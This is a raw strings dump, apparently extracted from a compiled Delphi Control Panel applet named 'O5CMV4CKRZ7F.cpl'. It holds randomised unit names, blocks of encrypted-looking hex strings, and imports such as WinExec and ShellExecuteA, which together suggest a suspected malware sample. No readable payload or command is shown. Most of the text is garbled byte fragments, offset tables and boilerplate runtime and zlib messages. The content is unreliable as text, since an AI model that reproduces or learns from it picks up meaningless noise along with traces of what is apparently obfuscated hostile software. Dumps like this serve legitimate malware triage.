WUWSj
YZ]_^[
ZYYd
QSVW
_^[Y]
Y_^[
=HgB
ZYYd
m/d/yy
mmmm d, yyyy
 AMPM
AMPM
:mm:ss
ZYYd
ZYYd
=@!B
kernel32.dll
GetDiskFreeSpaceExA
SVWU
]_^[
SVWUQ
(Z]_^[
SVWUQ
;w$t|
Z]_^[
;F$t=
;C$t4
ZYYd
_^[Y]
FSVWU
]_^[
ZYYd
=]fB
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
[YY]
ZYYd
ZYYd
ZYYd
oleaut32.dll
VariantChangeTypeEx
VarNeg
VarNot
VarAdd
VarSub
VarMul
VarDiv
VarIdiv
VarMod
VarAnd
VarOr
VarXor
VarCmp
VarI4FromStr
VarR4FromStr
VarR8FromStr
VarDateFromStr
VarCyFromStr
VarBoolFromStr
VarBstrFromCy
VarBstrFromDate
VarBstrFromBool
ZYYd
TCustomVariantType
TCustomVariantTypeP
Variants
EVariantInvalidOpError
EVariantTypeCastError
EVariantOverflowError
EVariantInvalidArgError
EVariantBadVarTypeError
EVariantBadIndexError
EVariantArrayLockedError
EVariantArrayCreateError
EVariantNotImplError
EVariantOutOfMemoryError
EVariantUnexpectedErrort
EVariantDispatchError
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
t?Htb
ZYYd
ZYYd
|kC3
|kC3
SVWQ
Z_^[
QQQQSV
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
=$#B
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
=$#B
ZYYd
=,#B
E@#B
Empty
Null
Smallint
Integer
Single
Double
Currency
Date
OleStr
Dispatch
Error
Boolean
Variant
Unknown
Decimal
ShortInt
Byte
Word
LongWord
Int64
SVW3
ZYYd
String
Array
ByRef
Variants
h$hB
ZYYd
h$hB
SVWQ
Z_^[
_^[YY]
QSVW
_^[Y]
SVWUQ
Z]_^[
h$hB
ZYYd
h$hB
QSVW
= hB
t~h$hB
ZYYd
h$hB
_^[Y]
SVW3
h$hB
|PF3
ZYYd
h$hB
ZYYd
h$hB
ZYYd
h$hB
ZYYd
ZYYd
-<hB
False
True
ZYYd
_^[Y]
SVW3
ZYYd
_^[YY]
$YZ^[
ZYYd
-@hB
ZYYd
-DhB
TNotifyEvent
Sender
TObject
EStreamError
EFileStreamError
EFCreateError
EFOpenError
EFilerErrorp
EReadError
EWriteError
EClassNotFound
EResNotFound
EListError
EStringListError
EComponentError
EOutOfResourcesH
EInvalidOperation
TList
TThreadListd
TPersistent
TPersistentd
Classes
TInterfacedPersistent
TInterfacedPersistentT
Classes
IStringsAdapter
Classes
TStrings
TStrings@
Classes
TStringItem
TStringList
TStringListp
Classes
TStream
THandleStream
TFileStream
TCustomMemoryStream`
TMemoryStream
TResourceStreamT
TClassFinder
TFiler
TReader
EThread
TThread
TComponentName
TComponent
TComponent
Classes
Name(
TDataModule
TDataModulep
Classes
OldCreateOrder0
OnCreate0
OnDestroy
TIdentMapEntry
TRegGroup
TRegGroups
QSVW
_^[Y]
SVWUQ
|!F3
u%CNu
Z]_^[
SVWUQ
$Z]_^[
SVWU
]_^[
SVWUQ
|%C3
Z]_^[
SVWU
]_^[
|3F3
|+F3
ZYYd
|)C3
#FKu
ZYYd
_^[YY]
ZYYd
ZYYd
ZYYd
TIntConst
QSVW
ZYYd
_^[Y]
QSVW
_^[Y]
_^[YY]
=`hB
=LhB
QSVW
tMWj
ZYYd
_^[Y]
ZYYd
ZYYd
ZYYd
YZ^[
Uh4$A
ZYYd
h;$A
^[Y]
SVWU
]_^[
ZYYd
Uh4'A
ZYYd
h;'A
ZYYd
ZYYd
SVW3
Uha)A
hx)A
ZYYd
hh)A
ZYYd
SVWU
]_^[
SVW3
|-F3
W<CNu
ZYYd
ZYYd
Uhp,A
ZYYd
^[Y]
Ph`7A
[YY]
Strings
SVW3
|0F3
ZYYd
YZ^[
ZYYd
_^[Y]
SVW3
Uhl/A
UhJ/A
ZYYd
hQ/A
ZYYd
hs/A
ZYYd
SVW3
ZYYd
SVW3
Uh|1A
ZYYd
UhS2A
ZYYd
hZ2A
SVWU
]_^[
QSVW
S$_^[Y]
ZYYd
ZYYd
ZYYd
^[YY]
SVW3
Uhi4A
UhL4A
ZYYd
hS4A
ZYYd
hp4A
_^[YY]
SVWUQ
SdZ]_^[
UhT5A
Uh/5A
ZYYd
h65A
ZYYd
h[5A
ZYYd
ZYYd
^[Y]
ZYYd
^[Y]
UhP7A
Uh37A
ZYYd
h:7A
ZYYd
hW7A
[YY]
SVW3
ZYYd
SVWUQ
$Z]_^[
SVWU
]_^[
$Z^[
Sd^[
_^[]
_^[]
^[YY]
ZYYd
Uh8BA
ZYYd
h?BA
[YY]
SVW3
UhyDA
ZYYd
SVWU
~,;{
]_^[
_^[]
UhkGA
ZYYd
hrGA
QSVW
_^[Y]
_^[]
TPropFixup
TPropIntfFixup
SVWU
]_^[
ZYYd
^[Y]
SVW3
UhZKA
ZYYd
haKA
_^[YY]
Owner
UhvMA
UhWMA
YF;w
ZYYd
|*C3
ZYYd
h^MA
ZYYd
h}MA
ZYYd
=dhB
Uh?NA
ZYYd
hFNA
_^[YY]
QSVW
=dhB
ZYYd
_^[Y]
ZYYd
ZYYd
_^[]
SVW3
ZYYd
ZYYd
C0_^[
SVWU
]_^[
ZYYd
ZYYd
^[Y]
Classes
|\F3
_^[]
QSVW
|AF3
_^[Y]
SVW3
UhFXA
ZYYd
ZYYd
_^[]
SVW3
ZYYd
_^[]
SVW3
ZYYd
_^[]
SVW3
Uhc[A
ZYYd
ZYYd
ZYYd
ZYYd
UhK\A
ZYYd
h\\A
Uh"]A
ZYYd
h)]A
False
True
Null
$YZ[
Uh=aA
ZYYd
hDaA
SVW3
Uh8cA
ZYYd
ZYYd
ZYYd
h?cA
_^[YY]
_^[]
QQQQ3
ZYYd
h&dA
ZYYd
ZYYd
%s_%d
SVW3
UhokA
UhMkA
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
hTkA
ZYYd
hvkA
SVW3
Uh*lA
ZYYd
ZYYd
h1lA
_^[YY]
UhImA
ZYYd
hPmA
^[YY]
Uh/nA
ZYYd
h6nA
ZYYd
ZYYd
Uh%qA
ZYYd
h,qA
ZYYd
SVW3
Uh}rA
ZYYd
$Z^[
Uh5uA
ZYYd
ZYYd
ZYYd
h<uA
B^*L
QQQQQQQS
UhNwA
ZYYd
hUwA
SVWQ
Z_^[
Uh!yA
ZYYd
h(yA
^[Y]
hhhB
htyA
=PhB
hhhB
hhhB
Uhj{A
UhK{A
hhhB
ZYYd
ZYYd
hhhB
ZYYd
hR{A
ZYYd
hq{A
hhhB
QSVW
ZYYd
ZYYd
_^[Y]
ZYYd
ZYYd
 hhhB
hhhB
ZYYd
hhhB
ZYYd
hhhB
ZYYd
SVWUQ
Z]_^[
QSVW
_^[Y]
Left
u6;_
S _^[
SVWUQ
|"C3
Z]_^[
YZ_^[
SVWUQ
Z]_^[
_^[]
ZYYd
_^[]
ZYYd
ZYYd
ZYYd
QSVW
ZYYd
_^[Y]
QSVW
ZYYd
_^[Y]
^[YY]
Height
HorizontalOffset
VerticalOffset
Width
_^[YY]
C0^[
C8^[
C<^[
C4^[
ZYYd
-ThB
ZYYd
ZYYd
TColor
EInvalidGraphic
EInvalidGraphicOperation
TFontCharset
TGraphic
TGraphic
Graphics
TSharedImage
TIconImage
TIcon
TIconh
Graphics
TResourceManager
clBlack
clMaroon
clGreen
clOlive
clNavy
clPurple
clTeal
clGray
clSilver
clRed
clLime
clYellow
clBlue
clFuchsia
clAqua
clWhite
clMoneyGreen
clSkyBlue
clCream
clMedGray
clActiveBorder
clActiveCaption
clAppWorkSpace
clBackground
clBtnFace
clBtnHighlight
clBtnShadow
clBtnText
clCaptionText
clDefault
clGradientActiveCaption
clGradientInactiveCaption
clGrayText
clHighlight
clHighlightText
clHotLight
clInactiveBorder
clInactiveCaption
clInactiveCaptionText
clInfoBk
clInfoText
clMenu
clMenuBar
clMenuHighlight
clMenuText
clNone
clScrollBar
cl3DDkShadow
cl3DLight
clWindow
clWindowFrame
clWindowText
ANSI_CHARSET
DEFAULT_CHARSET
SYMBOL_CHARSET
MAC_CHARSET
SHIFTJIS_CHARSET
HANGEUL_CHARSET
JOHAB_CHARSET
GB2312_CHARSET
CHINESEBIG5_CHARSET
GREEK_CHARSET
TURKISH_CHARSET
HEBREW_CHARSET
ARABIC_CHARSET
BALTIC_CHARSET
RUSSIAN_CHARSET
THAI_CHARSET
EASTEUROPE_CHARSET
OEM_CHARSET
ZYYd
ZYYd
Default
EL&B
ZYYd
ZYYd
ZYYd
YZ_^
YZ^[
E\&B
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
_^[YY]
ZYYd
ZYYd
ZYYd
ZYYd
TjTP
C ;C$s
T_^[
ZYYd
ZYYd
ZYYd
@DPU
[YY]
Data
$ZXu
ZYYd
ZYYd
ZYYd
ZYYd
:P!t
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
QSVW
ZYYd
C(_^[Y]
\$4Vj
SVWjH
TPatternManagerSV
ZYYd
ZYYd
ZYYd
ZYYd
EAppletException
TActivateEvent
Sender
TObject
Data
Integer
TStopEvent
Sender
TObject
Data
Integer
TInquireEvent
Sender
TObject
idIcon
Integer
idName
Integer
idInfo
Integer
lData
Integer
TNewInquireEvent
Sender
TObject
lData
Integer
hIcon
HICON
AppletName
String
AppletInfo
String
TStartWParmsEvent
Sender
TObject
Params
String
TAppletModule
TAppletModule
CtlPanel
OnStop
OnActivatet
OnInquire
OnNewInquirep
OnStartWParms@
Caption
AppletIcon@
Help(
ResidIcon(
ResidName(
ResidInfo
TAppletApplication
TAppletApplication
CtlPanel
ZYYd
_^[YY]
SVW3
Ht;HtVH
HtQ-
ZYYd
ZYYd
ZYYd
_^[YY]
ZYYd
ZYYd
TCustomZStream
TZDecompressionStream
EZLibError
EZDecompressionError
need dictionary
stream end
file error
stream error
data error
insufficient memory
buffer error
incompatible version
1.2.3
$+C(
XZRP
$+C(Z^[
Invalid ZStream operation!
SVWP
Invalid ZStream operation!
ZYYd
_^[Y]
^[Y]
SVWQ
K0;K(u
S,;S(s
Z_^[
SVWU
D$(;C$v
+D$(
L$0Q
P ;S@v
P(;S@v
t^;|$
Et/B
Sh;S\r
Et/B
H#D$
D$ 3
T$!;
D$!;
D$!3
T$"f
D$!3
D$!3
D$!3
D$(f
Kd;Kh
H#D$
D$ 3
T$!;
T$$3
L$%#T$
T$ 3
L$%3
T$%+
L$!3
D$  t
D$ @t
;sHr
J#T$
H#D$
D$ 3
T$!;
T$$3
L$%#T$
T$ 3
L$%3
T$%+
L$!3
D$!+
D$ @t
;sHr
J#T$
;CDs
SD;T$
KD+L$
C0;D$
C(+D$
S@;T$
S@+CD
4]_^[
SVWU
]_^[
SVWU
]_^[
SVWUQ
)S<3
Z]_^[
SVWUQ
S4RU
Z]_^[
D$(#D$8
l$()t$,
t:;t$,v
J#T$(
l$()t$,
L$(#L$<
l$()t$,
;t$,v:
;t$,v
#T$(
l$()t$,
T$$J
`;t$ v?
L$ +
+t$ ;
T$$J;D$ v0
t$ +
L$ +
J#T$(
J#T$(
)D$,
!T$(
D_^[
]_^[
SVWUQ
Z]_^[
SVWU
]_^[
ZYYd
ZYYd
QSVW
ZYYd
QSVW
ZYYd
_^[Y]
ZYYd
SVW3
ZYYd
ZYYd
ZYYd
BC0134F10535E45C9731DE
9FC75DF8679748F93195B551F73DB45A8ABBCC
QQQQS
ZYYd
0202
62A2
SVWU
]_^[
ZYYd
ZYYd
ZYYd
ZYYd
[YY]
QSVW
ZYYd
ZYYd
ZYYd
67FB27CC74A54834316A8DB24D
03668CA2BF739F4E95CF58F6223D8287
35B45D95B2598AAF4687BF6EE10076
6081A158C470A25996D479B9
ZYYd
LX4CJRY6EMU2
SVW3
ZYYd
A8373DDD71F3050602
214D
C6111A32DA67F30C07
40AE
9AC654CC41CD54E37E
1442
0957DD77E278FA021062E87799B136D7
EB7A
E00F150C172C36C75A949EBA5DF572E072
CA1B
QSVW3
ZYYd
2E6F9B5AE4
09042EF707
0A0B37FE3E
4C49E933C2
A724D3688C
ZYYd
-0iB
TThreadGeral
QSVW3
ZYYd
1A7BAF4EE8
CBCA7FBF7E
2D689253ED
67A65393AD
68A55492AC
B1EC1DDD18
ZYYd
-4iB
AppletModuleActivate
TENU19GNV3BIQ
TENU19GNV3BIQ\
UnitSZ7ELT0G
r+C3
ZYYd
0956
085A8DAC4BED25C9
316D98E94DF254CE140172E9
67E915DB0A2FD91EDB
ZYYd
-<iB
ZYYd
Error
Runtime error     at 00000000
0123456789ABCDEF
@v:k
%.*d
TPF0
MS Sans Serif
1.2.3
incorrect header check
unknown compression method
invalid window size
unknown header flags set
header crc mismatch
invalid block type
invalid stored block lengths
too many length or distance symbols
invalid code lengths set
invalid bit length repeat
invalid literal/lengths set
invalid distances set
invalid literal/length code
invalid distance code
invalid distance too far back
incorrect data check
incorrect length check
 inflate 1.2.3 Copyright 1995-2005 Mark Adler
invalid distance too far back
invalid distance code
invalid literal/length code
 n;^
Qkkbal
i]Wb
9a&g
MGiI
wn>Jj
#.zf
+o*7
Z* ,
H$6t
52F*
#jT$
^6o}
[-&LMb#{'
w+OQvr
R1h58
SKyu
)\ZEo^m/
ru&o
i8P/
?(3w
H*0"ZOW
{kHw
)T`D
!AxU
l!;b
:1X:
y9*O
kM`~
Vc0a
dQy/
lDa>
7~8A
C-Yn
gqr<
$/o|
f-=v
mj>zjZ
l6qnk
IiGM>nw
1A26b
i91k
ewh/?y
*5KS
6~_'
F*.f
1wsHp
M8MF
Pe6^
#bML"
`F(>
vQO+t
[h1R
XsBI
hPU3
^oEZ_
2%k_
w3Xc
/P8i
OZw3(?
Z"0*
fP~V
^GP~
b;!l
V_:X1:
NJ2"v
O*9y]
fu`z
/yQA
&]|v
kernel32.dll
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
InitializeCriticalSection
VirtualFree
VirtualAlloc
LocalFree
LocalAlloc
GetVersion
GetCurrentThreadId
InterlockedDecrement
InterlockedIncrement
VirtualQuery
WideCharToMultiByte
MultiByteToWideChar
lstrlenA
lstrcpynA
LoadLibraryExA
GetThreadLocale
GetStartupInfoA
GetProcAddress
GetModuleHandleA
GetModuleFileNameA
GetLocaleInfoA
GetCommandLineA
FreeLibrary
FindFirstFileA
FindClose
ExitProcess
ExitThread
CreateThread
WriteFile
UnhandledExceptionFilter
RtlUnwind
RaiseException
GetStdHandle
user32.dll
GetKeyboardType
LoadStringA
MessageBoxA
CharNextA
advapi32.dll
RegQueryValueExA
RegOpenKeyExA
RegCloseKey
oleaut32.dll
SysFreeString
SysReAllocStringLen
SysAllocStringLen
kernel32.dll
TlsSetValue
TlsGetValue
TlsFree
TlsAlloc
LocalFree
LocalAlloc
kernel32.dll
WriteFile
WinExec
WaitForSingleObject
VirtualQuery
SizeofResource
SetFilePointer
SetEvent
SetEndOfFile
ResumeThread
ResetEvent
ReadFile
MulDiv
LockResource
LoadResource
LoadLibraryA
LeaveCriticalSection
InitializeCriticalSection
GlobalUnlock
GlobalReAlloc
GlobalHandle
GlobalLock
GlobalFree
GlobalAlloc
GetVersionExA
GetThreadLocale
GetStringTypeExA
GetStdHandle
GetProcAddress
GetModuleHandleA
GetModuleFileNameA
GetLocaleInfoA
GetLocalTime
GetLastError
GetFullPathNameA
GetFileAttributesA
GetExitCodeThread
GetEnvironmentVariableA
GetDiskFreeSpaceA
GetDateFormatA
GetCurrentThreadId
GetCPInfo
GetACP
FreeResource
InterlockedIncrement
InterlockedExchange
InterlockedDecrement
FreeLibrary
FormatMessageA
FindResourceA
FindFirstFileA
FindClose
FileTimeToLocalFileTime
FileTimeToDosDateTime
EnumCalendarInfoA
EnterCriticalSection
DeleteFileA
DeleteCriticalSection
CreateFileA
CreateEventA
CreateDirectoryA
CompareStringA
CloseHandle
gdi32.dll
UnrealizeObject
StretchBlt
SetTextColor
SetROP2
SetBkMode
SetBkColor
SelectPalette
SelectObject
RealizePalette
MoveToEx
GetTextMetricsA
GetSystemPaletteEntries
GetStockObject
GetObjectA
GetDeviceCaps
GetDIBits
GetCurrentPositionEx
GetBitmapBits
DeleteObject
DeleteDC
CreatePenIndirect
CreatePalette
CreateFontIndirectA
CreateDIBitmap
CreateCompatibleDC
CreateCompatibleBitmap
CreateBrushIndirect
CreateBitmap
user32.dll
ReleaseDC
PeekMessageA
MsgWaitForMultipleObjects
MessageBoxA
LoadStringA
LoadIconA
GetSystemMetrics
GetSysColor
GetIconInfo
GetDC
DrawIconEx
DestroyIcon
CreateIcon
CharNextA
CharUpperBuffA
CharToOemA
kernel32.dll
Sleep
oleaut32.dll
SafeArrayPtrOfIndex
SafeArrayGetUBound
SafeArrayGetLBound
SafeArrayCreate
VariantChangeType
VariantCopy
VariantClear
VariantInit
shell32.dll
ShellExecuteA
O5CMV4CKRZ7F.cpl
CPlApplet
0(0@0L0l0x0|0
111@1D1`1h1l1p1t1x1|1
2"2*222:2B2J2R2Z2b2j2r2z2
3&3/3P3X3
6)7]7i7
:%:8:B:H:V:\:d:v:
;0;6;>;H;_;j;
;"<8<
=/>5>N>W>`>k>t>{>
.040D0M0
1H1b1
2@2F2X2p2|2
3$3*3\3
3!4,454;4K4T4
5M6S6[6
8e9[;s;
>]>m>
2F3Z3b3x3
4"4,4?4o4
5!60696b6k6
7W7c7
9H9P9[9
:D:T:Z:`:f:k:q:z:
:X;`;
<.<C<M<R<q<v<{<
=E=R=h=
=E>U>
030Q0k0
2%363v3}3
8;8b8
8-9O9[9b9l9v9
:::O:`:j:r:z:
;/;7;\;d;r;w;
<$<6<C<O<\<n<t<
="=*=2=:=B=J=R=Z=b=j=r=z=
>">*>2>:>B>J>R>Z>b>j>r>z>
?"?*?2?:?B?J?R?Z?b?j?r?z?
#0/0<0N0T0\0d0l0t0|0
1$1,141<1D1L1T1\1d1l1t1|1
2$2,242<2D2L2T2\2d2l2t2|2
3$3,3;3G3T3f3l3x3
404P4X4\4`4d4h4l4p4t4x4
5 5$5(5,5<5\5d5h5l5p5t5x5|5
6 6$6(6,6064686<6L6l6t6x6|6
7 7(7,7074787<7@7D7H7X7x7
8(8084888<8@8D8H8L8P8`8
949<9@9D9H9L9P9T9X9\9p9
:,:L:T:X:\:`:d:h:l:p:t:
; ;$;(;8;X;`;d;h;l;p;t;x;|;
< <$<(<,<0<4<8<<<P<p<x<|<
=$=,=0=4=8=<=@=D=H=L=d=q=y=
>X>\>`>d>h>l>p>
4,474D4I4
5c5t5
6+6G6P6
6M8a8h8
<Y>]>a>e>i>m>q>u>y>}>
>i?p?
4B5W5b6
9w9S:
>&?p?
)0w0
081?1|1
3@3T3h3
6;6O6
727>7\7
7D8U9
=Z=p=}=
>!>M>
>.?[?
1J2b2g2s2
393s3}3
4.4_4n4
6#6>6x6K7
;#;*;B;I;\;t;
<4<C<W<
=i>{>
>7?c?
0 0*0/050:0@0E0K0R0X0]0c0h0n0u0{0
0 1)12181I1T1Y1
414E4k4
7)7B7L7V7h7}7
7#8A8^8p8
9$9-9H9[9n9w9
:/:=:Q:o:
;/;7;T;a;><1=V=l=
>*>:>E>K>S>X>
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5$5(50545<5@5H5L5T5X5`5d5l5p5x5|5
6 6$6,60686<6D6H6P6T6\6`6h6l6t6x6
7&707;7E7P7Z7e7o7z7
8%80888=8c8
869l9y9
:D:Q:z:
;);X;
=&=.=6=m={=
>%>+>0>;>A>F>Q>W>\>g>m>r>}>
?"?-?3?8?C?I?N?Y?
1$1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
242T2\2`2d2h2l2p2t2x2|2
3$3(3,3034383<3@3D3`3
4(4H4P4T4X4\4`4d4h4l4p4
5 5$5(5,5054585<5@5\5|5
6(6H6P6T6X6\6`6d6h6l6p6
677F7]7
7'868M8u8
8]9l9
:%:4:K:Z:n:}:
:];k;z;
2/2J2`2
3(3p3
3H4x4
5/5G5]7a7e7i7m7q7u7y7}7
:X:u:
<"<&<*<.<2<6<:<><B<F<X<p<y>}>
051C1
4#4;4
4d5y5
7:7@7T7Y798^8k8v8
9&999F9
:":,:>:S:_:g:q:v:{:
; ;(;0;8;@;H;P;X;`;h;p;x;
<&?O?
1L1P1T1X1\1`1
4*404U4\4|4
585@5D5H5L5P5T5X5\5`5t5
6$6D6L6P6T6X6\6`6d6h6l6|6
707P7X7\7`7d7h7l7p7t7x7
8 8$8(8,8D8d8l8p8t8x8|8
9$9(9,9094989<9@9D9\9|9
:(:4:8:@:D:H:L:P:T:X:\:`:d:h:l:v:z:
;(;0;4;8;<;@;D;H;L;P;T;X;\;`;n;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
=$=4=D=L=P=T=X=\=`=d=h=l=p=t=x=|=
>%>)><>\>d>h>l>p>t>x>|>
?$?D?L?P?T?X?\?`?d?h?l?p?t?x?|?
040<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1(1014181<1@1D1H1L1P1d1
2 2$2(2,2024282F2X2x2
3j3n3r3v3z3~3
4 4$4(4,4044484<4J4t4x4|4
5$545@5D5L5P5T5X5\5`5d5h5l5p5t5x5|5
696`6|6
7 7$7Z7i7x7w9
;-;8;K;
;D<Q<
=8=E=R=g=l=
> >$>(>,>0>4>8>
#0H0X0w0
2-2:2N2U2o2
4'4Q4
7'7j7
878{8
899T9
:P;f;
=!=s=
=(>N>w>
>=?Z?
323H3
3?4\4
4"5G5o5
6&7C7x7
8C9y9
?$?u?|?
H0O0
3I4P4g4
6*6B6I6
787G7^7
9 9@9H9L9P9T9X9\9`9d9h9l9?:
<-<D<T<a<q<
<*=J=g=l=
=0>5>\>d>s>
%050
0Q1`1
:P:q:
=h>o>
0a0{0
101[1
595X5x5|5
7'8{8
:>;C;];
<N<U<
<<=k=
1R2Y2p2#3
3)494
4 5j5
9E9O9_9e9y9
:7:D:S:c:
;>;[;`;
;H<n<
>5>_>j>w>
1l2w2
8)8j8u8
9)9.9H9
9/:<:Z:f:l:
:(;P;\;b;N<W<e<u<~<
=g>s>z>
?#?0?<?O?[?e?l?v?}?
0$0D0L0P0T0X0\0`0d0h0l0
0B1F1J1N1R1j1x1|1
2 2$2,2<2J2N2`2
3,3<3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<4
;(;F;S;
;b<g<
=7=<=z=
>#>L>Y>{>
?(?p?
%0A0H0
2/3a3
97:\:|:
=K=^>
-0=0T0d0
1&1C1
2V2q2
2)3;3
6,7<7
8'848C8a8
9 9(9,9094989<9@9D9H9
:W:c:n:x:
;&;7;A;R;^;j;{;
<'<3<@<R<X<g<s<
<-=1=8=i=m=t=
=[>_>c>g>k>p>
? ?$?(?,?0?4?8?F?N?b?f?j?n?r?
0=0e0i0m0
181H1T1X1`1d1h1l1p1t1x1|1
2B2}2
4J4W4`4m4w4}4
4-5H5X5
6X6s6
:#:6:D:`:d:l:p:t:x:|:
; ;$;(;D;d;l;p;t;x;|;
.0E0f0r1
1?2M2
4#4'4+4/43474;4?4C4G4K4O4S4W4[4_4c4g4k4o4s4G5h5
5*6E6X:
=Q>O?
4[4-888X9.<
W0c0p0
1>1s1
3!3B3
3G4b4
6O6\6
707@7g7
828S8z8
829P9/:<:F:K:S:Z:d:i:n:{:
;n;{;
< <G<g<
=.=F=b=
>[?f?
060C0}0
0g1s1z1
232>2_2q2
293Z3l3
3*4:4
5 5(50585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
5&6e6
7"7.797@7K7i7
888D8P8d8
9"9/9B9T9X9\9`9d9h9l9p9t9x9|9
:(:2:?:D:L:V:
<0@0D0
0<1D1H1l1p1
2 2$2(2d2l2t2|2
3L3P3T3X3\3`3d3h3l3p3t3x3|3
3 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6 6(60686@6H6
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585<5@5D5H5L5P5
mmmmmm
mmmmm******mmmmmmm
1YXXY*
nKLLKJm
RXXRRR
nKLL+LLSSLD
ttRSM$$$$$zzzn
zzzzuuRR
uzzzYS
yzzzzS
tzzzzS
ttKttL
&=O8
.<e&y
5c(9}
)O+!=
l<M]
6f}O
}|jk
<Oi,
w|w=9
?yf~
.%&2
vveg
v}xx
Gb3X
y*~0
o:X=
xW#l
XPle
86B*
j:i5
a51Ab?<dU@
@H<%
?AGC!| ?
Dw)(8
G}x.
2HYv
Z4;0
r``X
[$j!
x`\8
?3It
l/B+Hg
k>`D
\X41
z>/l)
+QO~
I0Us*X
>u6z
cjnw
_-\G
7_mm
=,21
Paa/?<
,&kb
biH]`
zEXa
Z19hz
<jTsZ
/F)"d
BT+B
;Ms.
yvoh
/lNR
^T=7F
#U8""
")=&K
 PWO#
^VFL
Pn~w
9Qz`b
3c41
8GlV
(pVL%`P
4q5@
hWOM
~K=d
|7h6
/>OS
<4nX
5K(V
!4Vk
gun^
pGt+
vYN7~sb
#:6aVf
kiVNZ
D!t9O
?J7^a
:lX:
Q\!]J
^"21
BF;<
>U#xZ0%l
DKCnE
Vlga
/,5z
z<<.J
ywL<
~@7<
`g5RT
dvX,
VR.{kp
zC]U
Q'0&
0JlH
eV<X
%c{,
b=}X
:|c[!
LU`!31
X+j1
2@01c
eSA6k
.2TK
gGT7
:OUT
&|#@'PW
V_`?
!B|"
4zRa078Ee
VGYIj
eF6)d.
H)2J
@>O#o
pWMz"
3)`)
N 4p9
ib29O
9P$|
<Z0}
/,(1
Ndt-
SDTk
|'iD
638!
3f a
M{=X:
@nzX
_4y%{d
 (CY
r}kT
>s "
y'HD
`>?9];
c+xu+)
(|w3#
uwg.
JnkFP
7-Md4
SU@/)
h:hl
=5!t
)?U;
JDBU
+*>E
,3,`
*|{FJ[Kl\
vd]5
edT`p
}[`-
oz!Qr<
8PsF
+VAX
e$OG)
3_23
ZMV"
\ML;5
W/a%
q,)6
d.BY
N~iw
6M=FG
ne_Y
{,!ZMf
QVNxh
#ce/e6
Sq8=
l\]|
LDkKf
~Hob
wHwB
b<:O
JLuF
@_YV^
-s,&
_`H?=
oy|g
w#{mI
e/Zo
1.'(B
nd3z
svIU
<f@Y
1!=?
/<?gY
Qx:4
O:YT
~N5J
7fy*
,/k^
bO5CMV4CKRZ7F
*ShellAPI
System
SysInit
KWindows
UTypes
ZLibEx
SysUtils
SysConst
^Classes
"RTLConsts
3Messages
CVariants
$VarUtils
QTypInfo
sActiveX
[CtlConsts
+Graphics
Consts
Unit18GNV3AI
UnitQX4CKQY5
vUnitBHPW4CJR
\UnitSZ7ELT0G
CtlPanel
TPF0
TENU19GNV3BIQ
ENU19GNV3BIQ
OldCreateOrder
OnActivate
AppletModuleActivate
Caption
ENU19GNV3BIQ
ResidIcon
ResidName
ResidInfo
Left
Height
Width

Unicode Strings:
---------------------------------------------------------------------------
jjjjj
jjjj
jjjj
jjjj
#+3;CScs
!1Aa
DVCLAL
LX4CJRY6EMU2
PACKAGEINFO
TENU19GNV3BIQ
MAINICON
333f3
f3fff
Property is read-only
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list
Property %s does not exist
Stream write error
Thread creation error: %s
Thread Error: %s (%d)
Bitmap image is not valid
Icon image is not valid!Cannot change the size of an icon
Out of system resources
Canvas does not allow drawing Clipboard does not support Icons.Invalid class reference for TAppletApplication
Class %s not found%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid stream format$''%s'' is not a valid component name
Invalid property path
Invalid property value List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d)+Out of memory while expanding memory stream
Error reading %s%s%s: %s
Stream read error
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Unable to create directory
Ancestor for '%s' not found
Cannot assign a %s to a %s*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
January
February
March
April
June
July
August
September
October
November
December
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error.  Code: %d.
A call to an OS function failed
)Variant or safe array index out of bounds
Variant or safe array is locked
Invalid variant type conversion
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Variant overflow
Invalid argument
Invalid variant type
Operation not supported
Unexpected variant error
External exception %x
Assertion failed
Interface not supported
Exception in safecall method
Floating point underflow
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Access violation
Stack overflow
Control-C hit
Privileged instruction(Exception %s in module %s at %p.
%s%s
Application Error
Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
Read
Write$Error creating variant or safe array
!'%s' is not a valid integer value
Out of memory
I/O error %d
File not found
Invalid filename
Too many open files
File access denied
Read beyond end of file
Disk full
Invalid numeric input
Division by zero
Range check error
Integer overflow Invalid floating point operation
Floating point division by zero
Floating point overflow